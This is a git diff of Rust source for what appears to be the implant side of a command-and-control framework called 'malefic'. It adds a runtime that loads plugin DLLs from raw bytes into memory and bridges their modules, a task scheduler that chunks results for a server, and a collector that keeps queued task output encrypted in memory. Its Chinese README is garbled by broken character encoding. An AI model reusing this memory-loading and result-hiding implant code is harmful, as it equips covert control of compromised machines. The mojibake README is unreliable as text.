RtBufferGuard { + fn new(buf: RtBuffer, free_fn: unsafe extern "C" fn(RtBuffer)) -> Self { + Self { buf, free_fn } + } + + fn as_bytes(&self) -> &[u8] { + unsafe { self.buf.as_bytes() } + } +} + +impl Drop for RtBufferGuard { + fn drop(&mut self) { + if !self.buf.ptr.is_null() && self.buf.len > 0 { + let buf = core::mem::replace(&mut self.buf, RtBuffer::empty()); + unsafe { (self.free_fn)(buf) }; + } + } +} + +// ── RtBundle ──────────────────────────────────────────────────────────────── + +pub struct RtBundle { + vtable: Arc, + module_names: Vec, +} + +impl RtBundle { + pub unsafe fn try_new(vtable: RtVTable) -> Option { + let count = (vtable.module_count)(); + let mut names = Vec::with_capacity(count as usize); + + for i in 0..count { + let buf = RtBufferGuard::new((vtable.module_name)(i), vtable.free); + let name = core::str::from_utf8(buf.as_bytes()) + .unwrap_or("") + .to_string(); + if !name.is_empty() { + names.push(name); + } + } + + Some(Self { + vtable: Arc::new(vtable), + module_names: names, + }) + } + + pub fn module_names(&self) -> &[String] { + &self.module_names + } + + pub fn into_bundle(self) -> MaleficBundle { + let mut map = MaleficBundle::new(); + for name in &self.module_names { + let module = RtModuleProxy { + name: name.clone(), + vtable: Arc::clone(&self.vtable), + }; + map.insert(name.clone(), Box::new(module) as Box); + } + map + } +} + +// ── RtModuleProxy ─────────────────────────────────────────────────────────── + +pub struct RtModuleProxy { + name: String, + vtable: Arc, +} + +unsafe impl Send for RtModuleProxy {} +unsafe impl Sync for RtModuleProxy {} + +#[async_trait] +impl Module for RtModuleProxy { + fn name() -> &'static str + where + Self: Sized, + { + "rt_module" + } + fn new() -> Self + where + Self: Sized, + { + unreachable!("RtModuleProxy is created via RtBundle") + } + fn new_instance(&self) -> Box { + Box::new(RtModuleProxy { + name: self.name.clone(), + vtable: Arc::clone(&self.vtable), + }) + } +} + +#[async_trait] +impl ModuleImpl for RtModuleProxy { + async fn run( + &mut self, + id: u32, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> ModuleResult { + // 1. Create module instance — store as usize to avoid !Send issues. + let handle_addr = unsafe { + let h = (self.vtable.module_create)(self.name.as_ptr(), self.name.len() as u32); + if h.is_null() { + return Err(anyhow::anyhow!("failed to create module '{}'", self.name)); + } + h as usize + }; + let destroy_fn_addr = self.vtable.module_destroy as usize; + let run_fn_addr = self.vtable.module_run as usize; + + // 2. Create sync channel pairs. + let (input_sync_tx, input_sync_rx) = std_mpsc::channel::>(); + let (output_sync_tx, output_sync_rx) = std_mpsc::channel::>(); + + // 3. Input forwarder: async recv_channel → sync input_tx. + // Uses a shared flag to signal shutdown instead of abort(). + let input_shutdown = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let input_shutdown_clone = input_shutdown.clone(); + let tx = input_sync_tx; + let recv_send = SendPtr::new(recv_channel as *mut Input); + let _input_task = malefic_common::spawn(async move { + while !input_shutdown_clone.load(std::sync::atomic::Ordering::Relaxed) { + let recv = unsafe { recv_send.as_mut::() }; + match recv.next().await { + Some(body) => { + let spite = Spite { + task_id: id, + body: Some(body), + ..Default::default() + }; + let bytes = codec::encode_spite(&spite); + if tx.send(bytes).is_err() { + break; + } + } + None => break, + } + } + }); + + // 4. Output reader: sync output_rx → async send_channel. + // Uses spawn_blocking to bridge sync recv → async send. + let output_sender = send_channel.clone(); + let (async_out_tx, mut async_out_rx) = futures_channel::mpsc::unbounded::>(); + + let _output_reader = malefic_common::spawn_blocking(move || { + while let Ok(bytes) = output_sync_rx.recv() { + if async_out_tx.unbounded_send(bytes).is_err() { + break; + } + } + }); + + let output_forwarder = malefic_common::spawn(async move { + while let Some(bytes) = async_out_rx.next().await { + if let Ok(spite) = codec::decode_spite(&bytes) { + let body = spite.body.unwrap_or(Body::Empty(Default::default())); + let status = spite.status.unwrap_or(Status { + task_id: id, + status: 0, + error: String::default(), + }); + let _ = output_sender.unbounded_send(TaskResult { + task_id: id, + body, + status, + }); + } + } + }); + + // 5. Blocking call: rt_module_run. + let free_fn_addr = self.vtable.free as usize; + let module_result = malefic_common::spawn_blocking(move || { + type RunFnType = unsafe extern "C" fn( + *mut RtModuleHandle, + u32, + *mut core::ffi::c_void, + RtSendFn, + RtRecvFn, + RtTryRecvFn, + RtHostFreeFn, + *mut RtBuffer, + ) -> RtStatus; + + let run_fn: RunFnType = unsafe { core::mem::transmute(run_fn_addr) }; + let handle_ptr = handle_addr as *mut RtModuleHandle; + + let bridge = BridgeContext { + output_tx: output_sync_tx, + input_rx: input_sync_rx, + }; + let ctx = &bridge as *const BridgeContext as *mut core::ffi::c_void; + + let mut final_out = RtBuffer::empty(); + let status = unsafe { + run_fn( + handle_ptr, + id, + ctx, + bridge_send, + bridge_recv, + bridge_try_recv, + bridge_host_free, + &mut final_out, + ) + }; + // Copy the output bytes, then free via the MODULE's rt_free (not host's). + // final_out was allocated by the module DLL — using host's allocator + // to free it would be UB when compiled with a different Rust version. + let out_bytes = unsafe { final_out.as_bytes().to_vec() }; + if !final_out.is_empty() { + let module_free: unsafe extern "C" fn(RtBuffer) = + unsafe { core::mem::transmute(free_fn_addr) }; + unsafe { module_free(final_out) }; + } + (status, out_bytes) + // BridgeContext drops here → output_tx dropped → output_reader exits + }); + + // 6. Wait for the module to finish. + let (status, out_bytes) = malefic_common::join_handle(module_result).await?; + + // Signal input forwarder to stop. + input_shutdown.store(true, std::sync::atomic::Ordering::Relaxed); + + // Destroy the module instance. + // This drops BridgeContext.output_tx → output_reader detects disconnect + // → drops async_out_tx → output_forwarder stream ends. + unsafe { + let destroy_fn: unsafe extern "C" fn(*mut RtModuleHandle) = + core::mem::transmute(destroy_fn_addr); + destroy_fn(handle_addr as *mut RtModuleHandle); + } + + // Wait for the output forwarder to drain all remaining intermediate results. + let _ = malefic_common::join_handle(output_forwarder).await; + + match status { + RtStatus::Done => { + let spite = codec::decode_spite(&out_bytes)?; + let body = spite.body.unwrap_or(Body::Empty(Default::default())); + let status = spite.status.unwrap_or(Status { + task_id: id, + status: 0, + error: String::default(), + }); + Ok(TaskResult { + task_id: id, + body, + status, + }) + } + RtStatus::Error => { + let msg = core::str::from_utf8(&out_bytes).unwrap_or("unknown error"); + Err(anyhow::anyhow!("module '{}': {}", self.name, msg)) + } + } + } +} + +// ── RtBridge ────────────────────────────────────────────────────────────── +// +// Wraps any `Box` and overrides `ModuleImpl::run()` to call +// `Module::rt_run()` inside `spawn_blocking`. This ensures all modules +// (built-in and DLL) execute on the blocking thread pool, never on tokio +// workers. +// +// Used by Manager::reload() to wrap every registered module. + +pub struct RtBridge { + inner: Box, +} + +impl RtBridge { + pub fn wrap(module: Box) -> Box { + Box::new(Self { inner: module }) + } +} + +// ── PluginLoader ─────────────────────────────────────────────────────────── +// +// Owns the lifecycle of a loaded DLL: load → resolve → enumerate → unload. +// Manager calls PluginLoader; PluginLoader calls malefic-loader for PE ops +// and RtVTable/RtBundle for C ABI resolution. + +use std::collections::HashMap; + +/// A loaded plugin DLL with its resolved modules. +pub struct LoadedPlugin { + /// Opaque PE handle from malefic-loader. Kept alive so exports remain valid. + handle: *const core::ffi::c_void, + /// Module names exported by this plugin. + module_names: Vec, +} + +unsafe impl Send for LoadedPlugin {} +unsafe impl Sync for LoadedPlugin {} + +impl LoadedPlugin { + pub fn module_names(&self) -> &[String] { + &self.module_names + } +} + +/// Manages loaded plugin DLLs and their module lifecycles. +pub struct PluginLoader { + /// plugin_name → LoadedPlugin + plugins: HashMap, +} + +impl PluginLoader { + pub fn new() -> Self { + Self { + plugins: HashMap::new(), + } + } + + /// Load a DLL from raw bytes, resolve rt_* C ABI exports, return modules. + /// + /// The DLL handle is kept alive internally. Call `unload()` to free it. + /// Returns `(plugin_name, MaleficBundle)` on success. + #[cfg(all(target_os = "windows", feature = "loader"))] + pub unsafe fn load( + &mut self, + name: String, + bin: Vec, + ) -> Result { + let handle = malefic_loader::hot_modules::load_module(bin, name.clone()) + .map_err(|e| anyhow::anyhow!("PE load failed: {:?}", e))?; + + let vtable = RtVTable::resolve(|export_name| { + malefic_loader::hot_modules::find_export(handle, export_name) + }) + .ok_or_else(|| anyhow::anyhow!("no rt_* exports found in '{}'", name))?; + + let rt_bundle = RtBundle::try_new(vtable) + .ok_or_else(|| anyhow::anyhow!("RtBundle init failed for '{}'", name))?; + + let module_names = rt_bundle.module_names().to_vec(); + let bundle = rt_bundle.into_bundle(); + + self.plugins.insert( + name, + LoadedPlugin { + handle, + module_names, + }, + ); + + Ok(bundle) + } + + /// Unload a previously loaded plugin DLL. + /// + /// Returns the list of module names that were provided by this plugin, + /// so the caller can remove them from the module registry. + #[cfg(all(target_os = "windows", feature = "loader"))] + pub unsafe fn unload(&mut self, name: &str) -> Option> { + if let Some(plugin) = self.plugins.remove(name) { + let names = plugin.module_names; + // Use no_tls variant: Rust DLLs' DLL_PROCESS_DETACH triggers TLS + // cleanup that can stack overflow in PE-memory-loaded modules. + malefic_loader::hot_modules::unload_pe_no_tls(plugin.handle); + Some(names) + } else { + None + } + } + + /// List all loaded plugin names. + pub fn loaded_plugins(&self) -> Vec<&str> { + self.plugins.keys().map(|s| s.as_str()).collect() + } + + /// Check if a plugin is loaded. + pub fn is_loaded(&self, name: &str) -> bool { + self.plugins.contains_key(name) + } + + /// Return a mapping of module_name → plugin_name for all loaded plugins. + pub fn module_plugin_map(&self) -> HashMap { + let mut map = HashMap::new(); + for (plugin_name, plugin) in &self.plugins { + for module_name in plugin.module_names() { + map.insert(module_name.clone(), plugin_name.clone()); + } + } + map + } +} + +#[async_trait] +impl Module for RtBridge { + fn name() -> &'static str + where + Self: Sized, + { + "rt_bridge" + } + fn new() -> Self + where + Self: Sized, + { + unreachable!("RtBridge is constructed via wrap()") + } + fn new_instance(&self) -> Box { + Self::wrap(self.inner.new_instance()) + } +} + +#[async_trait] +impl ModuleImpl for RtBridge { + async fn run( + &mut self, + id: u32, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> ModuleResult { + // SAFETY: pointers are valid for the duration of spawn_blocking. + // RtBridge::run() is awaited by scheduler, so self/recv/send outlive + // the blocking task. + // + // For the trait object (fat pointer), we transmute to [usize; 2] to + // capture both data pointer and vtable, then reconstruct on the other side. + let module_raw: [usize; 2] = + unsafe { core::mem::transmute(&mut *self.inner as *mut MaleficModule) }; + let recv_ptr = recv_channel as *mut Input as usize; + let send_ptr = send_channel as *mut Output as usize; + + let result = malefic_common::spawn_blocking(move || { + let module: &mut MaleficModule = + unsafe { &mut *core::mem::transmute::<[usize; 2], *mut MaleficModule>(module_raw) }; + let recv = unsafe { &mut *(recv_ptr as *mut Input) }; + let send = unsafe { &mut *(send_ptr as *mut Output) }; + module.rt_run(id, recv, send) + }); + + malefic_common::join_handle(result).await? + } +} diff --git a/malefic-crates/runtime/src/lib.rs b/malefic-crates/runtime/src/lib.rs new file mode 100644 index 0000000..f9ba5b8 --- /dev/null +++ b/malefic-crates/runtime/src/lib.rs @@ -0,0 +1,25 @@ +//! `malefic-runtime` — Cross-version, cross-target module runtime. +//! +//! This crate defines a pure C ABI protocol for hot-loading module DLLs +//! compiled with different Rust versions or targets. Data crosses the FFI +//! boundary as protobuf-encoded `Spite` messages; no Rust-internal types +//! ever cross the boundary. +//! +//! # Modules +//! +//! - [`abi`] / [`codec`] / [`module_sdk`]: Re-exported from `malefic-module` +//! (canonical definitions live there). Used by module DLLs to implement +//! the C ABI protocol via [`register_rt_modules!`]. +//! - [`host`] (feature `host`): Host-side bridge that wraps C ABI modules +//! into standard `Module` trait objects, transparent to the scheduler. +//! Requires a runtime feature (`tokio` / `async-std` / `smol`). + +// Re-export from malefic-module so existing `malefic_runtime::abi::*` paths still work. +pub use malefic_module::abi; +pub use malefic_module::codec; +pub use malefic_module::module_sdk; + +// Re-export the registration macro for backward compatibility. +pub use malefic_module::register_rt_modules; + +pub mod host; diff --git a/malefic-crates/scheduler/Cargo.toml b/malefic-crates/scheduler/Cargo.toml new file mode 100644 index 0000000..2ccc024 --- /dev/null +++ b/malefic-crates/scheduler/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "malefic-scheduler" +version = "0.1.0" +edition = "2021" + +[features] +default = [] + +[dependencies] +malefic-cron = { workspace = true } +malefic-common = { workspace = true } +malefic-config = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-module = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +anyhow = { workspace = true } +prost = { workspace = true } diff --git a/malefic-crates/scheduler/README.md b/malefic-crates/scheduler/README.md new file mode 100644 index 0000000..fee8139 --- /dev/null +++ b/malefic-crates/scheduler/README.md @@ -0,0 +1,104 @@ +# malefic-scheduler + +异步任务调度器,负责任务的派å‘ã€æ‰§è¡Œã€ç”Ÿå‘½å‘¨æœŸç®¡ç†ä¸Žç»“果收集。 + +## 功能简介 + +- **任务调度 (`Scheduler`)**:通过异步事件循环接收任务请求,将模å—å°è£…ä¸ºç‹¬ç«‹å¼‚æ­¥ä»»åŠ¡å¹¶å‘æ‰§è¡Œ +- **ä»»åŠ¡ç®¡ç† (`TaskManager`)**:维护活跃任务表,支æŒå–æ¶ˆã€æŸ¥è¯¢ã€åˆ—举ã€å®Œæˆç­‰æ“作 +- **结果收集 (`Collector`)**ï¼šæ±‡èšæ‰€æœ‰ä»»åŠ¡äº§å‡ºçš„ç»“æžœï¼ŒæŒ‰éœ€æ‰¹é‡è¿”回给调用方 +- **æµå¼è¾“å…¥/输出**:æ¯ä¸ªä»»åŠ¡æ‹¥æœ‰ç‹¬ç«‹çš„è¾“å…¥/输出通é“,支æŒè¿è¡Œä¸­æŒç»­æŽ¥æ”¶æ•°æ®ä¸Žå‘é€ç»“æžœ +- **è·¨è¿è¡Œæ—¶æ”¯æŒ**:通过 feature 切æ¢åº•层异步è¿è¡Œæ—¶ï¼ˆtokio / async-std / smol) + +## 核心概念 + +### Scheduler + +调度器主循环通过 `futures::select!` åŒæ—¶ç›‘å¬ä¸‰ç±»äº‹ä»¶ï¼š + +1. **任务æäº¤** — 新模å—到达时创建异步任务;已存在的任务 ID 则å‘其输入通é“è¿½åŠ æ•°æ® +2. **任务结果** — 将完æˆçš„结果通过数æ®é€šé“转å‘ç»™ Collector +3. **控制指令** — å¤„ç† `TaskOperator`ï¼ˆå–æ¶ˆã€æŸ¥è¯¢ã€åˆ—举ã€å®Œæˆï¼‰ + +### TaskOperator + +```rust +pub enum TaskOperator { + CancelTask(u32), // å–æ¶ˆæŒ‡å®šä»»åŠ¡ + FinishTask(u32), // 标记任务完æˆå¹¶æ¸…ç† + QueryTask(u32), // 查询å•ä¸ªä»»åŠ¡çŠ¶æ€ + ListTask, // 列举所有活跃任务 +} +``` + +### Collector + +结果收集器在独立å程中è¿è¡Œï¼ŒæŒç»­æŽ¥æ”¶å„ä»»åŠ¡çš„è¾“å‡ºï¼Œå¹¶åœ¨æ”¶åˆ°è¯·æ±‚ä¿¡å·æ—¶å°†å·²ç¼“å­˜çš„ç»“æžœæ‰¹é‡æ‰“包返回。 + +#### 内存加密存储 + +Collector å¯¹ç¼“å­˜çš„ä»»åŠ¡ç»“æžœå®žæ–½å†…å­˜åŠ å¯†ä¿æŠ¤ï¼š + +- **存储时加密**:收到 `Spite` åŽï¼Œå…ˆé€šè¿‡ prost åºåˆ—化为字节,å†ä½¿ç”¨ `Cryptor` 加密åŽå­˜å…¥ç¼“冲区 +- **å‘逿—¶è§£å¯†**:调用 `get_spites()` æ—¶ï¼Œé€æ¡è§£å¯†å¹¶ååºåˆ—化还原为 `Spite`,éšåŽæ¸…空缓冲区并é‡ç½®åР坆噍 +- **密钥管ç†**:æ¯ä¸ª Collector 实例在åˆå§‹åŒ–时生æˆç‹¬ç«‹çš„éšæœºå¯†é’¥ï¼ˆ32 字节 key + 16 字节 iv),密钥仅存在于进程内存中 +- **加密算法**:由 YAML é…置文件中 `basic.encryption` å­—æ®µå†³å®šï¼Œæ”¯æŒ `aes`(AES-256-CTR,默认)ã€`xor`ã€`chacha20`,通过编译时 feature 自动选择 + +``` +æ•°æ®æµï¼š + 收集: Spite → encode_to_vec() → cryptor.encrypt() → Vec> (密文缓冲) + å‘é€: Vec> → cryptor.decrypt() → Spite::decode() → Spites (明文批é‡è¿”回) +``` + +## Features + +| Feature | 说明 | +|-----------|------| +| `tokio` | 使用 tokio 作为异步è¿è¡Œæ—¶ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `async-std` | 使用 async-std 作为异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 作为异步è¿è¡Œæ—¶ | + +## 基本用法 + +```rust +use futures::channel::mpsc; +use malefic_scheduler::{Scheduler, Cronner}; +use malefic_scheduler::collector::Collector; + +// åˆ›å»ºé€šé“ +let (response_sender, mut response_receiver) = mpsc::unbounded(); +let mut collector = Collector::new(response_sender); + +// åˆå§‹åŒ–调度器,将数æ®é€šé“连接到 Collector +let mut scheduler = Scheduler::new(collector.get_data_sender()); + +// 获å–任务æäº¤é€šé“ä¸ŽæŽ§åˆ¶é€šé“ +let task_sender = scheduler.get_task_sender(); +let ctrl_sender = scheduler.get_task_ctrl_sender(); + +// 在独立å程中è¿è¡Œè°ƒåº¦å™¨ä¸Žæ”¶é›†å™¨ +spawn(async move { scheduler.run().await }); +spawn(async move { collector.run().await }); + +// 通过 task_sender æäº¤ä»»åŠ¡ +// task_sender.send((is_async, task_id, module, body)).await; +``` + +## 架构概览 + +``` +任务æäº¤ ──> Scheduler ──> spawn 异步任务 + │ │ + 控制指令(å–æ¶ˆ/查询) 任务结果 + │ │ + v v + TaskManager Collector ──> 批é‡è¿”回结果 + (内存加密存储) +``` + +## å‚考链接 + +- [futures crate](https://docs.rs/futures) +- [tokio](https://docs.rs/tokio) +- [async-std](https://docs.rs/async-std) +- [smol](https://docs.rs/smol) diff --git a/malefic-crates/scheduler/src/collector.rs b/malefic-crates/scheduler/src/collector.rs new file mode 100644 index 0000000..0abb0d6 --- /dev/null +++ b/malefic-crates/scheduler/src/collector.rs @@ -0,0 +1,282 @@ +use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; +use futures::{FutureExt, SinkExt, StreamExt}; +use malefic_crypto::crypto::{new_cryptor, Cryptor}; +use malefic_proto::proto::implantpb::{Spite, Spites}; +use prost::Message; + +pub struct Collector { + request_sender: UnboundedSender, + request_receiver: UnboundedReceiver, + + response_sender: UnboundedSender, + + data_sender: UnboundedSender, + data_receiver: UnboundedReceiver, + + data: Vec>, + cryptor: Cryptor, +} + +impl Collector { + pub fn new(response_sender: UnboundedSender) -> Self { + let (request_sender, request_receiver) = mpsc::unbounded(); + let (data_sender, data_receiver) = mpsc::unbounded(); + + let mut key = vec![0u8; 32]; + let mut iv = vec![0u8; 16]; + malefic_common::random::fill(&mut key); + malefic_common::random::fill(&mut iv); + let cryptor = new_cryptor(key, iv); + + Collector { + request_sender, + request_receiver, + response_sender, + data_sender, + data_receiver, + data: Vec::new(), + cryptor, + } + } + + pub fn get_request_sender(&self) -> UnboundedSender { + self.request_sender.clone() + } + + pub fn get_data_sender(&self) -> UnboundedSender { + self.data_sender.clone() + } + + pub async fn run(&mut self) -> Result<(), ()> { + #[cfg(debug_assertions)] + let _defer = malefic_common::errors::Defer::new("[collector] collector exit!"); + + loop { + futures::select! { + _ = self.request_receiver.next().fuse() => { + self.drain_pending_data(); + let data = self.get_spites(); + let _ = self.response_sender.send(data).await; + }, + data = self.data_receiver.next().fuse() => match data { + None => { + continue; + }, + Some(spite) => { + let plaintext = spite.encode_to_vec(); + if let Ok(encrypted) = self.cryptor.encrypt(plaintext) { + self.data.push(encrypted); + } + } + } + } + } + } + + fn drain_pending_data(&mut self) { + while let Ok(Some(spite)) = self.data_receiver.try_next() { + let plaintext = spite.encode_to_vec(); + if let Ok(encrypted) = self.cryptor.encrypt(plaintext) { + self.data.push(encrypted); + } + } + } + + fn get_spites(&mut self) -> Spites { + let spites = self + .data + .iter() + .filter_map(|encrypted| { + self.cryptor + .decrypt(encrypted.clone()) + .ok() + .and_then(|bytes| Spite::decode(bytes.as_slice()).ok()) + }) + .collect(); + self.data.clear(); + self.cryptor.reset(); + Spites { spites } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use malefic_proto::proto::implantpb::{spite::Body, Empty, Status}; + + fn make_spite(task_id: u32, name: &str) -> Spite { + Spite { + task_id, + name: name.to_string(), + r#async: true, + timeout: 0, + error: 0, + status: Some(Status { + task_id, + status: 0, + error: String::new(), + }), + body: Some(Body::Empty(Empty {})), + } + } + + /// Verify that stored data is actually encrypted (not plaintext protobuf). + #[test] + fn stored_data_is_encrypted() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spite = make_spite(42, "test_module"); + let plaintext = spite.encode_to_vec(); + + let encrypted = collector.cryptor.encrypt(plaintext.clone()).unwrap(); + collector.data.push(encrypted.clone()); + + // Encrypted bytes must differ from plaintext + assert_ne!(encrypted, plaintext, "stored data should not be plaintext"); + // Must not be decodable as a Spite directly + assert!( + Spite::decode(encrypted.as_slice()).is_err() + || Spite::decode(encrypted.as_slice()).unwrap() != spite, + "encrypted blob should not decode as the original Spite" + ); + } + + /// Verify single spite encrypt-then-decrypt round-trip. + #[test] + fn single_spite_round_trip() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spite = make_spite(1, "round_trip"); + let plaintext = spite.encode_to_vec(); + let encrypted = collector.cryptor.encrypt(plaintext).unwrap(); + collector.data.push(encrypted); + + let spites = collector.get_spites(); + assert_eq!(spites.spites.len(), 1); + assert_eq!(spites.spites[0], spite); + } + + /// Verify multiple spites are correctly encrypted and decrypted in order. + #[test] + fn multiple_spites_round_trip() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let items: Vec = (0..5) + .map(|i| make_spite(i, &format!("task_{}", i))) + .collect(); + + for spite in &items { + let plaintext = spite.encode_to_vec(); + let encrypted = collector.cryptor.encrypt(plaintext).unwrap(); + collector.data.push(encrypted); + } + + let spites = collector.get_spites(); + assert_eq!(spites.spites.len(), 5); + for (i, spite) in spites.spites.iter().enumerate() { + assert_eq!(spite, &items[i], "spite {} mismatch", i); + } + } + + /// After get_spites(), buffer must be empty and cryptor reset for next batch. + #[test] + fn get_spites_clears_buffer_and_resets_cryptor() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + // Batch 1 + let spite1 = make_spite(10, "batch1"); + let encrypted = collector.cryptor.encrypt(spite1.encode_to_vec()).unwrap(); + collector.data.push(encrypted); + let result1 = collector.get_spites(); + assert_eq!(result1.spites.len(), 1); + assert_eq!(result1.spites[0], spite1); + + // Buffer should be empty now + assert!(collector.data.is_empty()); + + // Batch 2 should work correctly after reset + let spite2 = make_spite(20, "batch2"); + let encrypted = collector.cryptor.encrypt(spite2.encode_to_vec()).unwrap(); + collector.data.push(encrypted); + let result2 = collector.get_spites(); + assert_eq!(result2.spites.len(), 1); + assert_eq!(result2.spites[0], spite2); + } + + /// Empty collector returns empty Spites. + #[test] + fn empty_collector_returns_empty_spites() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spites = collector.get_spites(); + assert!(spites.spites.is_empty()); + } + + /// Integration test: data flows through channels and is encrypted/decrypted correctly. + #[test] + fn channel_integration_flow() { + futures::executor::block_on(async { + let (response_sender, mut response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + let data_sender = collector.get_data_sender(); + + let expected = make_spite(99, "async_test"); + + // Simulate what run() does: send data via channel, receive and encrypt + data_sender.unbounded_send(expected.clone()).unwrap(); + let spite = collector.data_receiver.next().await.unwrap(); + let plaintext = spite.encode_to_vec(); + let encrypted = collector.cryptor.encrypt(plaintext).unwrap(); + collector.data.push(encrypted); + + // Simulate request: get_spites decrypts and sends response + let spites = collector.get_spites(); + let _ = collector.response_sender.send(spites).await; + + let received = response_receiver.next().await.unwrap(); + assert_eq!(received.spites.len(), 1); + assert_eq!(received.spites[0], expected); + }); + } + + #[test] + fn request_flush_drains_pending_data_before_responding() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spite = make_spite(77, "flush_first"); + collector + .data_sender + .unbounded_send(spite.clone()) + .expect("enqueue spite"); + collector.drain_pending_data(); + + let spites = collector.get_spites(); + assert_eq!(spites.spites, vec![spite]); + } + + /// Each Collector instance uses a different random key. + #[test] + fn different_collectors_use_different_keys() { + let (s1, _) = mpsc::unbounded(); + let (s2, _) = mpsc::unbounded(); + let mut c1 = Collector::new(s1); + let mut c2 = Collector::new(s2); + + let spite = make_spite(1, "key_test"); + let plaintext = spite.encode_to_vec(); + let enc1 = c1.cryptor.encrypt(plaintext.clone()).unwrap(); + let enc2 = c2.cryptor.encrypt(plaintext).unwrap(); + + // Different keys should produce different ciphertexts + assert_ne!( + enc1, enc2, + "different collectors should produce different ciphertexts" + ); + } +} diff --git a/malefic-crates/scheduler/src/lib.rs b/malefic-crates/scheduler/src/lib.rs new file mode 100644 index 0000000..8baf148 --- /dev/null +++ b/malefic-crates/scheduler/src/lib.rs @@ -0,0 +1,243 @@ +pub mod collector; +mod task; + +pub use malefic_cron::Cronner; + +use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; +use futures::{select, FutureExt}; +use futures::{SinkExt, StreamExt}; +use futures_timer::Delay; +use prost::Message; +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +use malefic_common::debug; +use malefic_common::spawn; +use malefic_config; +use malefic_module::{MaleficModule, TaskResult}; +use malefic_proto::new_spite; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::Spite; +use malefic_proto::proto::modulepb::Block; +use task::{Task, TaskHandle, TaskManager}; + +/// Marker name to distinguish auto-chunked Blocks from module-originated Blocks. +const CHUNK_MARKER: &str = "__chunked__"; + +/// Send a Spite, auto-chunking if it exceeds the configured max_packet_length. +/// +/// Large Spites are split into multiple Spites with Body::Block, +/// marked with name="__chunked__" for server-side reassembly. +/// If max_packet_length is 0 (unconfigured), chunking is disabled. +async fn send_spite_chunked(sender: &mut UnboundedSender, spite: Spite) { + let max_size = *malefic_config::MAX_PACKET_LENGTH; + if max_size == 0 { + // Chunking disabled + let _ = sender.send(spite).await; + return; + } + + // Leave 20% headroom for encryption + compression + frame overhead + let threshold = max_size * 4 / 5; + let encoded_len = spite.encoded_len(); + if encoded_len <= threshold { + let _ = sender.send(spite).await; + return; + } + + // Serialize the entire Spite to bytes, then chunk the raw bytes. + // Server reassembles by concatenating chunks and decoding back to Spite. + let mut spite_bytes = Vec::with_capacity(encoded_len); + if spite.encode(&mut spite_bytes).is_err() { + // Fallback: send as-is and hope for the best + let _ = sender.send(spite).await; + return; + } + + let task_id = spite.task_id; + let status = spite.status.clone(); + let chunk_size = threshold.saturating_sub(200); // leave room for Block wrapper + headers + let total_chunks = (spite_bytes.len() + chunk_size - 1) / chunk_size; + + for (i, chunk) in spite_bytes.chunks(chunk_size).enumerate() { + let is_last = i == total_chunks - 1; + let block_spite = Spite { + task_id, + name: CHUNK_MARKER.to_string(), + r#async: true, + body: Some(Body::Block(Block { + block_id: i as u32, + content: chunk.to_vec(), + end: is_last, + })), + status: if is_last { status.clone() } else { None }, + ..Default::default() + }; + let _ = sender.send(block_spite).await; + } + debug!( + "[chunked] task {} split into {} chunks ({} bytes)", + task_id, total_chunks, encoded_len + ); +} + +pub enum TaskOperator { + CancelTask(u32), + FinishTask(u32), + QueryTask(u32), + ListTask, +} + +pub struct Scheduler { + manager: TaskManager, + task_sender: UnboundedSender<(bool, u32, Box, Body)>, + task_receiver: UnboundedReceiver<(bool, u32, Box, Body)>, + _result_sender: UnboundedSender, + result_receiver: UnboundedReceiver, + ctrl_sender: UnboundedSender<(u32, TaskOperator)>, + ctrl_receiver: UnboundedReceiver<(u32, TaskOperator)>, + data_sender: UnboundedSender, +} + +impl Scheduler { + pub fn new(collector_data_sender: UnboundedSender) -> Scheduler { + let (_result_sender, result_receiver) = mpsc::unbounded(); + let (task_sender, task_receiver) = mpsc::unbounded(); + let (task_ctrl_sender, task_ctrl_receiver) = mpsc::unbounded(); + Scheduler { + manager: TaskManager::new(), + task_sender, + task_receiver, + _result_sender, + result_receiver, + ctrl_sender: task_ctrl_sender, + ctrl_receiver: task_ctrl_receiver, + data_sender: collector_data_sender, + } + } + + pub fn get_task_sender(&self) -> UnboundedSender<(bool, u32, Box, Body)> { + self.task_sender.clone() + } + + pub fn get_task_ctrl_sender(&self) -> UnboundedSender<(u32, TaskOperator)> { + self.ctrl_sender.clone() + } + + pub async fn run(&mut self) -> Result<(), ()> { + #[cfg(debug_assertions)] + let _defer = malefic_common::errors::Defer::new("[scheduler] scheduler exit!"); + + loop { + select! { + task_recv = self.task_receiver.next().fuse() => { + if let Some((is_async, id, module, body)) = task_recv { + if let Some(task_handle) = self.manager.tasks.get_mut(&id) { + if let Ok(mut task) = task_handle.task.lock() { + task.update_last(); + task.recv_count += 1; + if task_handle.sender.send(body).await.is_ok() { + debug!("[task] task {} send data", id); + continue; + } + } + } else { + self.handle_task(is_async, id, module, body).await; + } + } + }, + result_recv = self.result_receiver.next().fuse() => { + if let Some(result) = result_recv { + debug!("Scheduler receiver result: {:#?}", result); + send_spite_chunked(&mut self.data_sender, new_spite(result.task_id, String::new(), result.body)).await; + } + }, + ctrl_recv = self.ctrl_receiver.next().fuse() => { + if let Some((tid, op)) = ctrl_recv { + match self.manager.do_operator(tid, op).await { + Ok(spite) => { + if let Some(spite) = spite { + let _ = self.data_sender.send(spite).await; + } + }, + Err(_e) => { + debug!("Scheduler do_operator error: {}", _e.to_string()); + } + } + } + } + } + 